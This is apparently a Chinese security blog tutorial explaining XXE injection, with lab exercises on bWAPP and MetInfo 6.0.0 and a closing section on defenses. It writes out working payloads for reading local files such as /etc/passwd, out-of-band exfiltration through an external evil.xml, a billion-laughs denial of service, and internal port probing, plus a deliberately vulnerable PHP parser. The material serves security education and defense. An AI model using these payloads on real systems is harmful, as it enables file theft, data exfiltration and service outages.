XXE漏洞分析

 本文系pwn2web原创,转载请说明出处

XXE 漏洞,全名为XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者精心构造的外部实体。

一  预备知识

0x01 XML类型文件结构

 

XML设计用来传送及携带数据信息,不用来表现或展示数据,HTML则用来表现数据,所以XML用途的焦点是它说明数据是什么,以及携带数据信息。

XML定义结构、存储信息、传送信息。主要格式如下:

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

下例为小张发送给大元的便条,存储为XML。

 

<?xml version="1.0"?>
   <小纸条>
     <收件人>大元</收件人>
     <發件人>小張</發件人>
     <主題>問候</主題>
     <具體內容>早啊,飯吃了沒? </具體內容>
   </小纸条>

每个XML文档都由XML序言开始,在前面的代码中的第一行就是XML序言,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器这个文件应该按照XML规则进行解析。

但是,根元素到底叫<小纸条>还是<小便条>,则是由文档类型定义(DTD)或XML纲要(XML Schema)定义的。如果DTD规定根元素必须叫<小便条>,那么若写作<小纸条>就不符合要求。这种不符合DTD或XML纲要的要求的XML文档,被称作不合法的XML,反之则是合法的XML。

XML文件的第二行并不一定要包含文档元素;如果有注释或者其他内容,文档元素可以迟些出现。

 

DTD文档关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

 

0x02   文档类型定义(DTD)与实体

 

 DTD可以分为内部定义和外部引用。

内部:<!DOCTYPE 根元素 [元素声明]>

外部:<!DOCTYPE 根元素 SYSTEM "文件名">

 

实体主要分为以下几种:

命名实体:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>        
<value>&xxe;</value>

 

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">

<!ENTITY % 实体名称 SYSTEM "URI">

字符实体

 

示例:

参数实体&外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

命名实体&外部实体&参数实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

其中evil.xml文件内容为:

<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send

 

0x03   外部实体

XXE漏洞主要利用了DTD引用外部实体导致的漏洞,我们总结一下URL中能写哪些外部实体:

 

 

 

二   XXE漏洞

0x01 漏洞探测

首先检测xml是否被解析,通过在本地创建xml并输入以下内容,双击点开查看是否能成功显示出来name 的内容

 

 

 

 

检测是否支持外部实体解析,创建xml文件远程引用index.php文件,双击打开可以看到文件回显显示在上面

 

 

 

 访问服务器日志发现确实引用了index.php文件

 

 

 

 

0x02  漏洞应用

xxe利用主要有:

  • 任意文件读取
  • 内网信息探测(包括端口和相关web指纹识别)
  • DOS攻击
  • 远程命名执行

 

0x03 基础实验

实验环境:winxp虚拟机    

      VMWARE 15.5 PRO

实验工具:phpstudy2016

实验测试脚本:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

 注意,这里第一行开启了实体引用的功能,网上很多博客的脚本没有这一行,导致脚本复现不成功

实验一   任意文件读取

 

我们编写脚本读取我们创建1.txt文件,该文件内容为文字“123”。

脚本如下:

 

 

 

 

 

实验二  DOS攻击

这里只附上示例poc

     <?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]>
<lolz>&lol9;</lolz>

这个poc是著名的“billion laugh”攻击,该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。

 

实验三  探测内网信息

这里主要介绍端口扫描,其他的可参考https://www.freebuf.com/articles/web/177979.html

脚本:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

 

 

 

 

 0x04  XXE漏洞实战

1、BWAPP测试

这里使用BWAPP虚拟机来进行实战测试:大家可以从 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download  下载到该虚拟机,虚拟机导入后使用NAT转换,查看IP地址,本机访问

 

 

 

 

 点击Any bugs?进行抓包,发送到Repeater

 

 

由Content-type得知,就是将接收到的XML文件post给xxe-2.php

这里直接用payload读取就好:

 

 或者进行内网探测:

首先探测开放的80端口,返回信息如下

 

 再探测未开放的79端口:

 

 报错信息不一样。

 

2、选取Metinfo6.0.0进行XXE漏洞实战攻击测试

米拓企业建站系统主要用于搭建企业网站,采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各种语言),支持可视化傻瓜式操作、拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。

下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

将解压后的目录放在phpstudy 的WWW目录下,访问安装即可,安装好如下图:

 

 

 

 按照漏洞的说明,问题发生在漏洞文件app/system/pay/web/pay.class.php

 

 

 

 未禁止外部实体加载,测试是否存在外部实体引用,输入

<!DOCTYPE note[
<!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt">
]>
<data>&quan;</data>

这里192.168.1.126是另一个虚拟机开启的web服务,并在根目录下放置了一个1.txt文件,我们利用burp访问并设置payload:

 

 

 我们去打开192.168.1.126网站的服务器访问日志看看是否访问到了:

192.168.1.134是攻击者主机,这就意味着成功的引用了外部实体

 

 

 

 

三  漏洞防御

使用相应开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

 

 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

 

PYTHON:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

posted @ 2020-01-13 19:48  WelkinChan  阅读(944)  评论(0编辑  收藏  举报